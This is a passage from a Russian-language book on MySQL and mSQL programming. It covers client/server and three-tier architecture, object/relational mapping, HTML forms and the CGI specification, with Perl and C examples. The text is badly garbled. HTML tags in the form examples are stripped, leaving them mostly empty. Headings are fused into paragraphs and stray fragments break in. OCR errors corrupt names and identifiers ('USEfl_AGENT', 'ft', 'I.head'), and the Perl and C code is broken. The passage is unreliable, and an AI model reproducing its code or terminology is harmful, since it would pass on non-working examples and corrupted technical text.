    В какой-то момент обратили внимание на то, что "crash-me" является переносимой программой. Она может работать не только в различных операционных системах, но и использоваться для тестирования разных СУБД. С тех пор "crash-me" превратилась из простого набора тестов в программу, позволяющую производить сравнение характеристик. Тесты включают в себя стандартный SQL, а также расширения, предлагаемые многими серверами. Кроме того, программа проверяет надежность сервера при интенсивной нагрузке. Полный прогон тестов дает исчерпывающую характеристику возможностей сервера баз данных.

    Можно использовать "crash-me" для сравнения двух или более серверов баз данных в активном режиме. Домашняя страница "crash-me" находится на http://www.mysql.com/crash-me-choose.htmy.

    Архитектура клиент/сервер

    В упрощенном виде архитектура клиент/сервер предполагает разделение происходящей в приложении обработки на две или более логически различные части. До сих пор в этой книге мы обсуждали базы данных так, будто они существуют в некоем безвоздушном пространстве. Однако они выполняют свое предназначение только тогда, когда используются какими-либо приложениями. Упрощая, можно сказать, Что база данных составляет одну часть архитектуры клиент/сервер. База данных является "сервером", а всякое использующее ее приложение является "клиентом". Часто клиент и сервер расположены на разных машинах; в большинстве случаев приложение клиента является дружественным интерфейсом к базе данных. На рис. 8-1 графически представлена простая система клиент/сервер.

    Возможно, вы уже встречали в Интернет такую структуру. По сути, мы будем обращаться к определенной задаче приложений клиент/сервер для Интернет на протяжении всей книги. К примеру, WWW является гигантским приложением типа клиент/сервер, в котором Web-броузер является клиентом, а Web-сервер- сервером. В этом сценарии сервер является не сервером реляционных баз данных, а специализированным файл-сервером. Важнейшим свойством сервера является то, что он предоставляет данные клиенту в определенном формате.

    Архитектура клиент/сервер
    Рис. 8-1. Архитектура клиент/сервер

    При создании приложения для работы с базой данных прежде всего необходимо иметь возможность связать клиента с базой данных. Поставщики баз данных предпочитают скрывать от разработчиков основополагающие механизмы связи посредством API, ориентированных на конкретный язык. Когда вы создаете приложение для работы с базой данных, то используете специальные библиотеки, которые транслируют ваши запросы в пакеты TCP/IP, передающиеся по сети к серверу базы данных.

    Внешний вид этих API для доступа к базам данных различен и зависит от языка программирования, а во многих случаях - и от самой базы данных. Поскольку API для MySQL намеренно разрабатывались так, чтобы иметь сходство с mSQL, у всех API, которые вы найдете в этой книге, различия минимальны.



    в деталях разработки приложений для

    Архитектуры приложений для работы с базами данных

    Прежде чем разбираться в деталях разработки приложений для работы с базами данных на различных языках, следует потратить некоторое время и шире взглянуть на проектирование этих приложений. Эта глава концептуальная: мы хотим рассмотреть архитектуру клиент/ сервер, лежащую в основе программирования баз данных. Эти вопросы важны для программирования MySQL и mSQL, но не являются специфичными только для этих СУБД. Напротив, они применимы в любой среде программирования баз данных. Если не учитывать принципов архитектуры, то может оказаться, что ваши приложения не могут ни удовлетворить ваши потребности, ни приспособиться к изменяющимся обстоятельствам. В нашем обзоре программирования баз данных мы коснемся таких сложных тем, как понятие об обычной двухзвенной архитектуре, соответствие между объектами и реляцион-ностью и более новой трехзвенной архитектуре клиент/сервер.



    Объектное/реляционное моделирование

    Основная проблема, которая встает перед разработчиком объектно-ориентированного приложения при использовании реляционной базы данных, это - как отобразить реляционные данные в объекты. Первой мыслью может быть попытка отобразить атрибуты объекта в поля таблицы. К несчастью, такой подход по ряду причин не очень удачен.

  • Объекты не хранят только простые данные в своих атрибутах. Там могут храниться также коллекции и связи с другими объектами.

  • В большинстве реляционных баз данных, включая MySQL и mSQL, нет средств, позволяющих моделировать наследование.


    Практические правила для объектно-реляционного моделирования

  • У каждого сохраняемого класса в базе данных есть своя таблица.

  • Поля объектов с простыми типами данных (целые, символы, строки и т. д.) сопоставлены колонкам в соответствующей таблице базы данных.

  • Каждая строка таблицы базы данных cоответствует экземпляру соответствующего хранимого класса.

  • Каждая связь между объектами типа "многие-ко-многим" требует таблицы-связки, так же как это требуется для объектов базы данных типа "многие-ко-многим".

  • Наследование моделируется с помощью отношения "один-к-одному" между таблицами, соответствующими классу и подклассу.


  • Вспомните адресную книгу, о которой мы говорили ранее. Допустим, она имеет таблицы address и person, как на рис. 8-2.

    Объектное/реляционное моделирование
    Рис. 8-2. Модель данных простого приложения адресной книги

    Объектное/реляционное моделированиеЕсть весьма неочевидная проблема, с которой сталкиваются программисты. Основная задача объектно-ориентированного подхода к реляционным данным - это, получив эти данные, немедленно создать экземпляр объекта. Приложение должно работать с данными только через объекты. Большинство традиционных методов программирования, включая разработку на С, PowerBuilder и VisualBasic, требует, чтобы разработчик извлек из базы данные, а затем их обработал. Главное отличие состоит в том, что в объектно-ориентированном программировании баз данных вы имеете дело с объектами, а не данными.

    Рис. 8-3 показывает объектную модель, соответствующую модели данных на рис. 8-2. Каждая строка базы данных преобразуется в программный объект. Таким образом, ваше приложение принимает результирующий набор и для каждой возвращаемой строки создает новый экземпляр Address или Person. Труднее всего справиться с проблемой, о которой уже говорилось: как в приложении установить связь между человеком и его адресом? Объект Person, конечно, имеет ссылку на объект Address, относящийся к этому человеку, но сохранить объект Address внутри таблицы person реляционной базы нельзя. Модель данных предполагает хранение связей между объектами с помощью внешних ключей, для чего в таблицу person заносится address_id.

    Объектное/реляционное моделирование
    Рис. 8-3. Объектная модель, поддерживающая простое приложение адресной книги

    Самое незначительное усложнение объектной модели может вызвать бездну проблем при установлении соответствия наших объектов и модели данных. Допустим, что Person является потомком Entity и класс Company тоже является потомком Entity. Как отделить Entity от Person или Company? Приведенное выше правило фактически является скорее рекомендацией. В некоторых случаях базовый класс является чисто абстрактным и, следовательно, не имеет в базе связанных с ним данных. В таком случае для этого класса в базе данных не будет объекта.



    Обработка данных

    В части I "Введение в MySQL и mSQL" мы дали понятия управления транзакциями и результирующего набора. Приложение для работы с базой данных — всего лишь инструмент для управления транзакциями и обработки результирующих наборов. Например, если ваше приложение является адресной книгой, то обработка результирующих наборов заключается в том, чтобы извлечь из таблицы все строки и показать их пользователю. Управление транзакциями просто сводится к тому, чтобы изменения в таблицах address и person производились как единое целое.

    Обработка данныхМы уже упоминали, что в MySQL и mSQL нет поддержки транзакций. Всякое изменение в базе данных совершается автоматически, когда вы его запрашиваете. Это ограничение заставляет принимать специальные меры для того, чтобы целостность данных не нарушалась в результате отказа, происходящего в промежутке между двумя связанными между собой обращениями к базе данных.

    Два других важных момента в работе приложения - это подключение и отключение. Вполне понятно, что перед тем, как выполнить запрос, необходимо подключиться к базе данных. Однако довольно часто забывают о второй стороне медали- необходимости "убрать за собой". Следует всегда освобождать все захваченные ресурсы базы данных, когда они вам больше не нужны. В долго живущих приложениях, таких как демон Интернет, неаккуратно написанная система может понемногу отнимать ресурсы базы данных, и, в конце концов, заблокирует систему.

    "Уборка за собой" включает в себя правильную обработку ошибок. Хорошие языки программирования затрудняют пропуск обработчиков исключительных ситуаций (отказ сети, повторяющиеся ключи при добавлении, ошибки синтаксиса SQL и т. д.). Но независимо от того, какой язык вы избрали, вы обязаны знать, какие исключительные ситуации могут возникать при данном вызове API, и в каждой исключительной ситуации действовать надлежащим образом. С-библиотеки для MySQL и mSQL основываются на представлении базы данных в виде наборов строк. Мы хотим этим сказать, что библиотеки С позволяют непосредственно обращаться с данными в том виде, в каком они в принципе существуют в базе данных. Глава 13 "С и C++", раскрывает практические детали программирования в этой модели с использованием С API для MySQL и mSQL.

    Доступ к реляционной базе данных из объектно-ориентированной среды выявляет особый парадокс: реляционный мир занимается исключительно манипуляциями с данными, в то время как мир объектов занимается инкапсуляцией данных внутри некоторого набора схем поведения. В объектно-ориентированном приложении база данных служит средством сохранения объектов для экземпляров приложения. Объектно-ориентированное программирование рассматривает данные запроса не как набор строк, а как собрание объектов.



    Трехзвенная архитектура

    До сих пор мы обсуждали самую простую архитектуру для работы с WWW и простыми бизнес-приложениями - клиент/сервер. Однако эту архитектуру не так-то просто нарастить по мере роста и изменения ваших приложений. В ней также трудно использовать преимущества объектно-ориентированного программирования. Первая проблема недавно нашла отражение в дискуссиях относительно "тонких клиентов". Потребность в тонких клиентах происходит из беспокоящей тенденции в передаче клиенту все больших объемов обработки. Эта проблема проявилась в PowerBuilder и VisualBasic - инструментах, которые прямо вытаскивают данные из базы в GUI, а затем все операции над этими данными проводят в GUI.

    Такая тесная привязка интерфейса пользователя к ядру базы данных приводит к появлению программ, которые трудно модифицировать и невозможно масштабировать при увеличении числа пользователей и объема данных. Если у вас есть опыт разработки интерфейсов пользователя, то вы сталкивались с проблемой переработки интерфейса в зависимости от каприза пользователя. Чтобы изолировать последствия такой переработки, проще всего оставить для GUI только одну задачу- действовать в качестве интерфейса пользователя. Такой интерфейс пользователя действительно является тонким клиентом.

    Влияние на масштабируемость сказывается и с другой стороны. Когда требуется переработать приложение, чтобы оно могло справляться с возросшим числом пользователей и объемом данных, модификация может быть осуществлена в результате изменений, вносимых в базу данных, в том числе таких, которые состоят в распределении базы данных по нескольким серверам. Навечно привязав свой интерфейс к базе данных, вам приходится делать изменения в этом GUI для решения проблем масштабирования - проблем, связанных исключительно с сервером.

    Тонкие клиенты - не единственное сегодняшнее поветрие. Другая тенденция - повторное использование кода. Общий для разных приложений код тяготеет к обработке данных, обычно называемой деловой логикой. Если вся ваша деловая логика располагается в интерфейсе пользователя, то добиться повторного использования кода будет, по меньшей мере, трудно. Решением этих проблем является разбиение приложения на три, а не на две части. Такая архитектура называется трехзвенной.


    Трехзвенная архитектура Когда мы говорим об интерфейсе пользователя у клиента, то имеем в виду логическое различие. Разновидностью тонкого клиента, иногда называемой "сверхтонким клиентом", является то, что обычно всеми воспринимается как Web-страница. Web-страница может динамически создаваться на Web-сервере. В этом случае большая часть работы клиента происходит на сервере в виде динамической генерации HTML-страниц.

    Сравните двухзвенную архитектуру на рис. 8-1 с трехзвенной архитектурой, показанной на рис. 8-4. Мы добавили промежуточный слой между интерфейсом пользователя и базой данных. Этот новый слой, сервер приложений, заключает в себе логику работы приложения - деловую логику, которая является общей для некоторой области задач. Клиент становится ничем иным, как средством просмотра объектов среднего яруса, а база данных становится хранилищем этих объектов.

    Самое главное, что вы выигрываете, - это разделение интерфейса пользователя и базы данных. Теперь вам не нужно встраивать знание базы данных в GUI. Напротив, все сведения о том, как работать с базой данных, могут размещаться в среднем ярусе.

    Две главные задачи сервера приложений - это изоляция подключений к базе данных и обеспечение централизованного хранилища для деловой логики. Интерфейс пользователя имеет дело только с отображением и вводом данных, а ядро базы данных занимается только проблемами базы данных. При перемещении обработки данных в центральное место одну и ту же программу сервера приложений могут использовать различные интерфейсы пользователя, и устраняется необходимость писать правила обработки данных всякий раз, когда вы создаете новое приложение.

    Трехзвенная архитектура

    Рис. 8-4. Трехзвенная архитектура

    CGI и базы данных

    С начала эпохи Интернет базы данных взаимодействовали с разработкой World Wide Web. На практике многие рассматривают Web просто как одну гигантскую базу данных мультимедийной информации.

    Поисковые машины дают повседневный пример преимуществ баз данных. Поисковая машина не отправляется бродить по всему Интернету в поисках ключевых слов в тот момент, когда вы их запросили. Вместо этого разработчики сайта с помощью других программ создают гигантский указатель, который служит базой данных, откуда поисковый механизм извлекает записи. Базы данных хранят информацию в таком виде, который допускает быструю выборку с произвольным доступом.

    Благодаря своей изменчивости базы данных придают Web еще большую силу: они превращают ее в потенциальный интерфейс для чего угодно. Например, системное администрирование можно производить удаленно через веб-интерфейс вместо требования регистрации администратора в нужной системе. Подключение баз данных к Web лежит в основе нового уровня интерактивности в Интернет.

    CGI и базы данныхОдна из причин подключения баз данных к Web регулярно дает о себе знать: значительная часть мировой информации уже находится в базах данных. Базы данных, существовавшие до возникновения Web, называются унаследованными (legacy) базами данных (в противоположность неподключенным к Web базам данных, созданным в недавнее время и которые следует назвать "дурной идеей"). Многие корпорации (и даже частные лица) стоят сейчас перед задачей обеспечения доступа к этим унаследованным базам данных через Web. Если только ваша унаследованная база не MySQL или mSQL, эта тема лежит за пределами данной книги.

    Как сказано раньше, только ваше воображение может ограничить возможности связи между базами данных и Web. В настоящее время существуют тысячи уникальных и полезных баз данных, имеющие доступ из Web. Типы баз данных, действующих за пределами этих приложений, весьма различны. Некоторые из них используют CGI-программы в качестве интерфейса с сервером баз данных, таким как MySQL или mSQL. Эти типы представляют для нас наибольший интерес. Другие используют коммерческие приложения для взаимодействия с популярными настольными базами данных, такими как Microsoft Access и Claris FileMaker Pro. А другие просто работают с плоскими текстовыми файлами, являющимися самыми простыми базами данных изо всех возможных.

    С помощью этих трех типов баз данных можно разрабатывать полезные веб-сайты любого размера и степени сложности. Одной из наших задач на протяжении нескольких следующих глав будет приложение мощи MySQL mSQL к Web с использованием CGI-программирования.

    Что такое CGI?

    Как и большинство акронимов, Common Gateway Interface (CGI - общий шлюзовый интерфейс) мало что говорит по сути. Интерфейс с чем? Где этот шлюз? О какой общности речь? Чтобы ответить на эти вопросы, вернемся немного назад и бросим взгляд на WWW в целом.

    Тим Бернерс-Ли, физик, работавший в CERN, придумал Web в 1990 году, хотя план возник еще в 1988. Идея состояла в том, чтобы дать исследователям в области физики элементарных частиц возможность легко и быстро обмениваться мультимедийными данными - текстом, изображениями и звуком — через Интернет. WWW состояла из трех основных частей: HTML, URL и HTTP. HTML - язык форматирования, используемый для представления содержания в Web. URL - это адрес, используемый для получения содержимого в формате HTML (или каком-либо ином) с веб-сервера. И, наконец, HTTP - это язык, который понятен веб-серверу и позволяет клиентам запрашивать у сервера документы.

    Возможность пересылки через Интернет информации всех типов явилась революцией, но вскоре была обнаружена и другая возможность. Если можно переслать через Web любой текст, то почему нельзя переслать текст, созданный программой, а не взятый из готового файла? При этом открывается море возможностей. Простой пример: можно использовать программу, выводящую текущее время, так, чтобы читатель видел правильное время при каждом просмотре страницы. Несколько умных голов в National Center for Supercomputing Applications (Национальный центр разработки приложений для суперкомпьютеров -NCSA), которые создавали веб-сервер, такую возможность увидели, и вскоре появился CGI.

    CGI - это набор правил, согласно которым программы на сервере могут через веб-сервер посылать данные клиентам. Спецификация CGI сопровождалась изменениями в HTML и HTTP, вводившими новую характеристику, известную как формы.

    Если CGI позволяет программам посылать данные клиенту, то формы расширяют эту возможность, позволяя клиенту посылать данные для этой CGI-программы. Теперь пользователь может не только видеть текущее время, но и устанавливать часы! Формы CGI открыли дверь для подлинной интерактивности в мире Web. Распространенные приложения CGI включают в себя:

  • Динамический HTML. Целые сайты могут генерироваться одной CGI-программой.

  • Поисковые механизмы, находящие документы с заданными пользователем словами.

  • Гостевые книги и доски объявлений, в которые пользователи могут добавлять свои сообщения.

  • Бланки заказов.

  • Анкеты.

  • Извлечение информации из размещенной на сервере базы данных.

    В последующих главах мы обсудим все эти CGI-приложения, а также и некоторые другие. Все они дают прекрасную возможность соединения CGI с базой данных, что и интересует нас в этом разделе.



    Формы HTML

    Прежде чем изучать особенности CGI, полезно рассмотреть наиболее часто встречающийся способ, с помощью которого конечные пользователи получают интерфейс к CGI-программам: формы HTML. Формы являются частью языка HTML, предоставляющей конечному пользователю поля различных типов. Данные, вводимые в поля, могут быть пересланы веб-серверу. Поля могут служить для ввода текста или являться кнопками, которые пользователь может нажать или отметить галочкой. Вот пример страницы HTML, содержащей форму:

    <НТМL><НЕАD><ТITLЕ>Моя страница с формами



    <р>Это страница с формой.



    Введите свое имя:







    Данная форма создает строку длиной 40 символов, куда пользователь может ввести свое имя. Под строкой для ввода располагается кнопка, при нажатии которой данные формы передаются серверу. Ниже перечислены относящиеся к формам теги, поддерживаемые HTML 3.2 -наиболее распространенным в настоящее время стандартом. Названия тегов и атрибутов могут вводиться в любом регистре, но мы придерживаемся необязательного соглашения, согласно которому открывающие теги пишутся в верхнем регистре, а закрывающие - в нижнем.



    Этот тег указывает на начало формы. В конце формы требуется закрывающий тег
    . Между тегами
    допускаются три атрибута: ACTION задает URL или относительный путь к CGI-програм-ме, которой будут посланы данные; METHOD указывает метод HTTP, посредством которого будет послана форма (это может быть GET или ч POST, но мы почти всегда будем использовать POST); ENCTYPE задает метод кодирования данных (его следует использовать только при четком понимании того, что вы делаете).



    Предоставляет наиболее гибкий способ ввода данных пользователем. Фактически есть девять разных типов тега . Тип задается атрибутом TYPE. В предыдущем примере используются два тега : один с типом SUBMIT и другой с типом по умолчанию TEXT. Девять типов следующие:


    TEXT

    Поле для ввода пользователем одной строки текста.

    PASSWORD

    To же, что TEXT, но вводимый текст не отображается на экране.

    CHECKBOX

    Флажок, который пользователь может устанавливать и сбрасывать.

    RADIO

    Радиокнопка, которая должна объединяться еще хотя бы с одной радиокнопкой. Пользователь может выбрать только одну из них.

    SUBMIT

    Кнопка, при нажатии которой форма отправляется на веб-сервер.

    RESET

    Кнопка, при нажатии которой в форме восстанавливаются значения по умолчанию.

    FILE

    Аналогичен текстовому окну, но предполагает ввод имени файла, который будет отправлен на сервер.

    HIDDEN

    Невидимое поле, в котором могут храниться данные.

    IMAGE

    Аналогичен кнопке SUBMIT, но можно задать картинку для изображения на кнопке.

    Кроме атрибута TYPE теги обычно имеют атрибут NAME, связывающий введенные в поле данные с некоторым именем. Имя и данные передаются серверу в стиле величина=значение . В предыдущем примере текстовое поле именовалось firstname . Можно использовать атрибут VALUE, чтобы присвоить полям типа TEXT, PASSWORD , FILE и HIDDEN предустановленные значения. Этот же атрибут, используемый с кнопками типа SUBMIT или RESET, выводит на них заданный текст. Поля типа RADIO и CHECKBOX можно отобразить как выставленные с помощью атрибута CHECKED без задания значения.

    Атрибут SIZE используется для задания длины полей типа TEXT, PASSWORD и FILE. Атрибут MAXLENGTH можно использовать для ограничения длины вводимого текста. Атрибут SRC задает URL изображения, используемого в типе IMAGE. И наконец, атрибут ALIGN задает характер выравнивания изображения для типа IMAGE и может иметь значение TOP, MIDDLE, BOTTOM (по умолчанию), LEFT или RIGHT (вверх, в середину, вниз, влево, вправо).

    .


    Как и у тега , у тега , и в качестве текста по умолчанию будет принят любой текст, находящийся между тегами , аналогично атрибуту VALUE для тега . Для тега

    , дающая место для ввода очерка. Данные получают имя 'essay'. Блок текста 70 символов в ширину и 10 строк в глубину. Пространство между тегами



    можно использовать для образца очерка. -->



    типов 'SUBMIT' и 'RESET' соответственно. Кнопка 'SUBMIT' имеет переопределенную надпись 'Ввести данные ', а кнопка 'RESET' имеет надпись по умолчанию (определяемую броузером). Кликнув по кнопке 'SUBMIT', вы пошлете данные на веб-сервер, Кнопка 'RESET' восстановит данные R исходное состояние, удалив все введенные пользователем данные. -->



    Единственный тип ввода, который мы здесь не использовали, - это тип IMAGE для тега . Можно было бы использовать его в качестве альтернативного способа отправки формы. Однако тип IMAGE редко совместим с текстовыми и не очень чуткими броузерами, поэтому благоразумно избегать его, если только ваш сайт не выполнен в насыщенном графическом стиле.

    После знакомства с основами форм HTML можно приступить к изучению собственно CGI.



    в книгу по базам данных

    Программирование с использованием CGI
    Включение раздела о CGI в книгу по базам данных может показаться столь же странным, как если бы в кулинарную книгу была включена глава о ремонте автомобилей. Разумеется, для того чтобы съездить в магазин за продуктами, нужен исправный автомобиль, но уместно ли об этом говорить? Полное изложение CGI и веб-программирование в целом выходят за рамки данной книги, но краткого введения в эти темы достаточно для того, чтобы расширить возможности MySQL и mSQL по представлению данных в царстве Web.

    В основном эта глава предназначена тем, кто изучает базы данных, но не прочь приобрести некоторые знания и в программировании для Web. Если ваша фамилия Бернерс-Ли или Андрессен, вряд ли вы найдете здесь то, чего еще не знаете. Но даже если вы не новичок в CGI, наличие под рукой краткого справочника во время погружения в тайны MySQL и mSQL может оказаться весьма полезным.



    Спецификация CGI

    Итак, что в точности представляет собой "набор правил", позволяющий CGI-программе, скажем, в Батавии, штат Иллинойс, обмениваться данными с веб-броузером во Внешней Монголии? Официальную спецификацию CGI наряду с массой других сведений о CGI можно найти на сервере NCSA по адресу http://hoohoo. ncsa.uluc.edu/ cgi/. Однако эта глава для того и существует, чтобы вам не пришлось долго путешествовать и самому ее искать.

    Есть четыре способа, которыми CGI передает данные между CGI-npor-раммой и веб-сервером, а следовательно, и клиентом Web:

  • Переменные окружения.

  • Командная строка.

  • Стандартное устройство ввода.

  • Стандартное устройство вывода.

    С помощью этих четырех методов сервер пересылает все данные, переданные клиентом, CGI-программе. Затем CGI-программа делает свое волшебное дело и пересылает выходные данные обратно серверу, который переправляет их клиенту.

    Спецификация CGIЭти данные приводятся с прикидкой на сервер HTTP Apache. Apache - наиболее распространенный веб-сервер, работающий практически на любой платформе, включая Windows 9х и Windows NT. Однако они могут быть применимы ко всем HTTP-серверам, поддерживающим CGI. Некоторые патентованные серверы, например, от Microsoft и Netscape, могут иметь дополнительные функции или работать несколько иначе. Поскольку лицо Web продолжает изменяться с невероятной скоростью, стандарты все еще развиваются, и в будущем, несомненно, произойдут изменения. Однако, что касается CGI, то эта технология представляется устоявшейся - расплачиваться за это приходится тем, что другие технологии, такие как апплеты, ее потеснили. Все CGI-программы, которые вы напишете, используя эти сведения, почти наверное смогут работать еще долгие годы на большинстве веб-серверов.

    Когда CGI-программа вызывается посредством формы — наиболее распространенного интерфейса, броузер передает серверу длинную строку, в начале которой стоит путь к CGI-программе и ее имя. Затем следуют различные другие данные, которые называются информацией пути и передаются CGI-программе через переменную окружения PATH_INFO (рис. 9-1). После информации пути следует символ "?", а за ним - данные формы, которые посылаются серверу с помощью метода HTTP GET. Эти данные становятся доступными CGI-программе через переменную окружения QUERY_STRING . Любые данные, которые страница посылает с использованием метода HTTP POST, который используется чаще всего, будут переданы CGI-программе через стандартное устройство ввода. Типичная строка, которую может получить сервер от броузера, показана на рис. 9-1. Программа с именем formread в каталоге cgi-bin вызывается сервером с дополнительной информацией пути extra/information и данными запроса choice=help - по-видимому, как часть исходного URL. Наконец, данные самой формы (текст "CGI programming" в поле "keywords") пересылаются через метод HTTP POST .


    Спецификация CGI

    Рис. 9-1. Части строки, переданной броузером серверу

    Переменные окружения

    Когда сервер выполняет CGI-программу, то прежде всего передает ей некоторые данные для работы в виде переменных окружения. В спецификации официально определены семнадцать переменных, но неофициально используется значительно больше - с помощью описываемого ниже механизма, называемого HTTP_/nec/zams/n. CGI-программа

    имеет доступ к этим переменным так же, как и к любым переменным среды командного процессора при запуске из командной строки. В сценарии командного процессора, например, к переменной окружения F00 можно обращаться как $F00; в Perl это обращение выглядит, как $ENV{'F00'} ; в С - getenv("F00") ; и т. д. В таблице 9-1 перечислены переменные, которые всегда устанавливаются сервером - хотя бы и в значение null. Помимо этих переменных данные, возвращаемые клиентом в заголовке запроса, присваиваются переменным вида HTTP_F00 , где F00 - имя заголовка. Например, большинство веб-броузеров включает данные о версии в заголовок с именем USEfl_AGENT . Ваша CGI-npor-рамма может получить эти данные из переменной HTTP_USER_AGENT .

    Таблица 9-1. Переменные окружения CGI





    Переменная окружения



    Описание



    CONTENT_LENGTH



    Длина данных, переданных методами POST или PUT, в байтах.



    CONTENT_TYPE



    Тип MIME данных, присоединенных с помощью методов POST или PUT .



    GATEWAY_INTERFACE



    Номер версии спецификации CGI, поддерживаемой сервером.



    PATH_INFO



    Дополнительная информация пути, переданная клиентом. Например, для запроса http://www.myserver.eom/test.cgi/this/is/a/ path?field=green значением переменной РАТН_ INFO будет /this/is/a/path.



    PATH_TRANSLATED



    То же, что PATH_INFO , но сервер производит всю







    возможную трансляцию, например, расширение имен типа "-account". "



    QUERY_STRING



    Все данные, следующие за символом "?" в URL. Это также данные, передаваемые, когда REQ-UEST_METHOD формы есть GET.



    REMOTE_ADDR



    IP-адрес клиента, делающего запрос.



    REMOTE_HOST



    Имя узла машины клиента, если оно доступно.



    REMOTE_IDENT



    Если веб-сервер и клиент поддерживают идентификацию типа identd, то это имя пользователя учетной записи, которая делает запрос.



    REQUEST_METHOD



    Метод, используемый клиентом для запроса. Для CGI-программ, которые мы собираемся создавать, это обычно будет POST или GET.

    SERVER_NAME Имя узла - или IP-адрес, если имя недоступно, -машины, на которой выполняется веб-сервер.
    SERVER_PORT Номер порта, используемого веб-сервером.
    SERVER_PROTOCOL

    Протокол, используемый клиентом для связи с сервером. В нашем случае этот протокол почти всегда HTTP.
    SERVER_SOFTWARE Данные о версии веб-сервера, выполняющего CGI-программу.


    SCRIPT_NAME



    Путь к выполняемому сценарию, указанный клиентом. Может использоваться при ссылке URL на самого себя, и для того, чтобы сценарии, ссылки на которые существуют в разных местах, могли выполняться по-разному в зависимости от места.

    <


    Приведем пример сценария CGI на Perl, который выводит все переменные окружения, установленные сервером, а также все унаследованные переменные, такие как PATH, установленные командным процессором, запустившим сервер.

    #!/usr/bin/perl -w

    print << HTML;

    Content-type: text/html\n\n



    <р>Переменные окружения

    HTML

    foreach (keys %ENV) { print "$_: $ENV{$_}
    \n"; }

    print <

    HTML

    Все эти переменные могут быть использованы и даже изменены вашей CGI-программой. Однако эти изменения не затрагивают веб-сервер, запустивший программу.

    Командная строка

    CGI допускает передачу CGI-программе аргументов в качестве параметров командной строки, которая редко используется. Редко используется она потому, что практические применения ее немногочисленны, и мы не будем останавливаться на ней подробно. Суть в том, что если переменная окружения QUERY_STRING не содержит символа " = ", то CGI-программа будет выполняться с параметрами командной строки, взятыми из QUERY_STRING . Например, http://www.myserver.com/cgi-bin/finger?root запустит finger root на www.myserver.com.

    Есть две основные библиотеки, обеспечивающие CGI-интерфейс для Perl. Первая из них - cgi-lib.pl Утилита cgi-lib.pl очень распространена, поскольку в течение долгого времени была единственной имеющейся большой библиотекой. Она предназначена для работы в Perl 4, но работает и с Perl 5. Вторая библиотека, CGI.pm, более новая и во многом превосходит cgi-lib.pl. CGI.pm написана для Perl 5 и использует полностью объектно-ориентированную схему для работы с данными CGI. Модуль CGI.pm анализирует стандартное устройство ввода и переменную QUERY_STRING и сохраняет данные в объекте CGI. Ваша программа должна лишь создать новый объект CGI и использовать простые методы, такие как paramQ, для извлечения нужных вам данных. Пример 9-2 служит короткой демонстрацией того, как CGI.pm интерпретирует данные. Все примеры на Perl в этой главе будут использовать CGI.pm.


    Пример 9-2. Синтаксический анализ CGI-данных на Perl

    #!/usr/bin/perl -w

    use CGI qw(:standard);

    # Используется модуль CGI.pm. qw(:standard) импортирует

    # пространство имен стандартных CGI-функций,чтобы получить

    # более понятный код. Это можно делать, если в сценарии

    # используется только один объект CGI.

    $mycgi = new CGI; #Создать объект CGI, который будет 'шлюзом' к данным формы

    @fields = $mycgi->param; # Извлечь имена всех заполненных полей формы

    print header, start_html('CGI.pm test'); ft Методы 'header' и 'start_html',

    # предоставляемые

    # CGI.pm, упрощают получение HTML.

    # 'header' выводит требуемый заголовок HTTP, a

    #'start_html' выводит заголовок HTML с данным названием,

    #a также тег .

    print "<р>Данные формы:
    ";

    foreach (@fields) { print $_, ":",- $mycgi->param($_), "
    "; }

    # Для каждого поля вывести имя и значение, получаемое с помощью

    # $mycgi->param('fieldname').

    print end_html; # Сокращение для вывода завершающих тегов "".

    Обработка входных данных в С

    Поскольку основные API для MySQL и mSQL написаны на С, мы не будем полностью отказываться от С в пользу Perl, но там, где это уместно, приведем несколько примеров на С. Есть три широко используемые С-библиотеки для CGI-программирования: cgic Тома Бу-телла (Tom Boutell)*; cgihtml Юджина Кима (Eugene Kim)t и libcgi от EIT*. Мы полагаем, что cgic является наиболее полной и простой в использовании. В ней, однако, недостает возможности перечисления всех переменных формы, когда они не известны вам заранее. На самом деле, ее можно добавить путем простого патча, но это выходит за рамки данной главы. Поэтому в примере 9-3 мы используем библиотеку cgihtml, чтобы повторить на С приведенный выше сценарий Perl.

    Пример 9-3. Синтаксический анализ CGI-данных на С

    /* cgihtmltest.c - Типовая CGI-программа для вывода ключей и их значений

    из данных, полученных от формы */

    #include


    #include "cgi-lib.h" /* Здесь содержатся все определения функций СGI */

    #include "html-lib.h" /* Здесь содержатся' все определения вспомогательных функций для HTML */

    void print_all(llist 1)

    /* Эти функции выводят данные, переданные формой, в том же формате, что и приведенный выше сценарий Perl. Cgihtml предоставляет также встроенную функцию

    print_entries(), которая делает то же самое, используя формат списка HTML. */ {

    node* window;

    /* Тип 'node' определен в библиотеке cgihtml и ссылается на связанный список, в котором хранятся все данные формы. */

    window = I.head; /* Устанавливает указатель на начало данных формы */

    while (window != NULL) { /* Пройти по связанному списку до последнего (первого пустого) элемента */

    printf(" %s:%s
    \n",window->entry. name,replace_ltgt(window->entry.value));

    /* Вывести данные. Replace__ltgt() - функция, понимающая HTML-кодировку текста и обеспечивающая его правильный вывод на броузер клиента. */

    window = window->next; /* Перейти к следующему элементу списка. */

    } }

    int main() {

    llist entries; /* Указатель на проанализированные данные*/

    int status; /* Целое число, представляющее статус */

    html__header(); /* Вспомогательная функция HTML, выводящая заголовок HTML*/

    html_begin("cgihtml test");

    /* Вспомогательная функция HTML, выводящая начало страницы HTML с указанным заголовком. */

    status = read_cgi_input(&entries); /* Производит ввод и синтаксический анализ данных формы*/

    printf("<р>Данные формы:
    ");

    print_all(entries); /* Вызывает определенную выше функцию print_all(). */

    html_end(); /* Вспомогательная функция HTML, выводящая конец страницы HTML. */

    list_clear(&entries); /* Освобождает память, занятую данными формы. */

    return 0; }

    Стандартное устройство вывода

    Данные, посылаемые CGI-программой на стандартное устройство вывода, читаются веб-сервером и отправляются клиенту. Если имя сценария начинается с nph-, то данные посылаются прямо клиенту без вмешательства со стороны веб-сервера. В этом случае CGI-программа должна сформировать правильный заголовок HTTP, который будет понятен клиенту. В противном случае предоставьте веб-серверу сформировать HTTP-заголовок за вас.


    Даже если вы не используете nph-сценарий, серверу нужно дать одну директиву, которая сообщит ему сведения о вашей выдаче. Обычно это HTTP-заголовок Content-Type , но может быть и заголовок Location . За заголовком должна следовать пустая строка, то есть перевод строки или комбинация CR/LF.

    Заголовок Content-Type сообщает серверу, какого типа данные выдает ваша CGI-программа. Если это страница HTML, то строка должна быть Content-Type: text/html. Заголовок Location сообщает серверу другой URL - или другой путь на том же сервере, - куда нужно направить клиента. Заголовок должен иметь следующий вид: Location: http:// www. myserver. com/another/place/.

